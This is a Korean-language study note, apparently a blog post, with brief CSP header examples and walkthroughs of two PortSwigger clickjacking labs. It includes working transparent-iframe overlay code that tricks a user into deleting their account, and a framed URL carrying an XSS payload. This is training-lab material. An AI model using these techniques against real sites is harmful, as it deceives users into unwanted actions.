Content-Security-Policy: default-src 'self'
: 하위 도메인의 리소스만 사용할 수 있도록 함
Content-Security-Policy: default-src 'self' *.domian.com
: 특정 도메인만 신뢰
Content-Security-Policy: default-src 'self' *.velog.io; img-src *
: 특정 태그 계열만 허용
https://hackerone.com/reports/406587
www.hackerone.com website
에 'self' DOM-based cross-site scripting 취약점 존재contact/
가 감지되면 공격이 실행https://portswigger.net/web-security/clickjacking/lab-basic-csrf-protected
Prob. 계정 화면 조작 후 사용자가 자신의 계정을 지우도록 하는 문제
계정과 관련된 문제니까 상단의 My account
클릭
처음에 내 계정으로 로그인하려고 했는데 실패
찾아보니까 wiener로 로그인하라고 합니다
이유는 나중에 찾아볼 것
Go to exploit server
클릭
Body에 Hello를 넣으면 사용자의 페이지에 Hello가 출력됨
Body 태그 안에 명령어를 집어 넣으면 사용자의 화면에 그대로 출력되는 것을 알게 됨
!! 그렇다면?
코드 입력 후 View exploit
을 누르면 사용자의 화면에 어떻게 보이는지 출력
Click me가 윗 상단에 존재하므로 delete account
버튼 위로 옮기기
위치 조정 완료 후 "Click me"라는 문구가 보이지 않게 opacity를 매우 작게 설정
deliver exploit to victim
버튼 클릭해서 사용자의 화면에 나타날 수 있도록 함
문제 해결~
사용한 코드
<style>
.visible {
position:absolute;
top: 500px;
left: 60px;
z-index: 1;
}
.overlaid-iframe {
position:relative;
width:700px;
height: 700px;
opacity: 0.0001;
z-index: 2;
}
</style>
<div class="visible">Click me</div>
<iframe class="overlaid-iframe" src="https://0a9e00c00356b80bc0410546005900a1.web-security-academy.net/my-account"></iframe>
https://portswigger.net/web-security/clickjacking/lab-exploiting-to-trigger-dom-based-xss
Prob. 사용자가 Click me 버튼을 누르게 하여 print 함수를 호출하도록 Clickjacking 기법을 사용하는 문제
일단 무언가 클릭을 해야 이 방법을 사용할 수 있으므로 버튼을 찾아봄
지난 문제들과는 다르게 Home 버튼 옆에 Submit feedback
이 있길래 의심스러워서 클릭
들어갔는데 버튼이라곤 submit feedback
하나 뿐이라서 이 버튼 위에 clickjacking 기법을 사용하면 되겠다고 판단
또 다시 Go to exploit
버튼을 눌러서 페이지를 열어줌
위의 문제와 동일하게 body 부분안에 명령어를 넣어주면 사용자의 화면에 뜬다는 것을 알 수 있음
동일하게 코드를 입력해줌
<img src=1 onerror=print()>
hacker@gmail.com
test
test
입력즉 사용자가 무엇을 입력하던지 내가 입력한 페이지가 위에서 작동하는 것을 알 수 있음
사용자에게 보이지 않도록 opacity를 0.0001로 변경하고 사용자의 화면에 보내줌
문제 해결~
사용한 코드
iframe {
position:relative;
width:500;
height: 700;
opacity: 0.0001;
z-index: 2;
}
div {
position:absolute;
top:610;
left:80;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe
src="https://0a77006b04158859c08d1646005400d4.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@gmail.com&subject=test&message=test#feedbackResult"></iframe>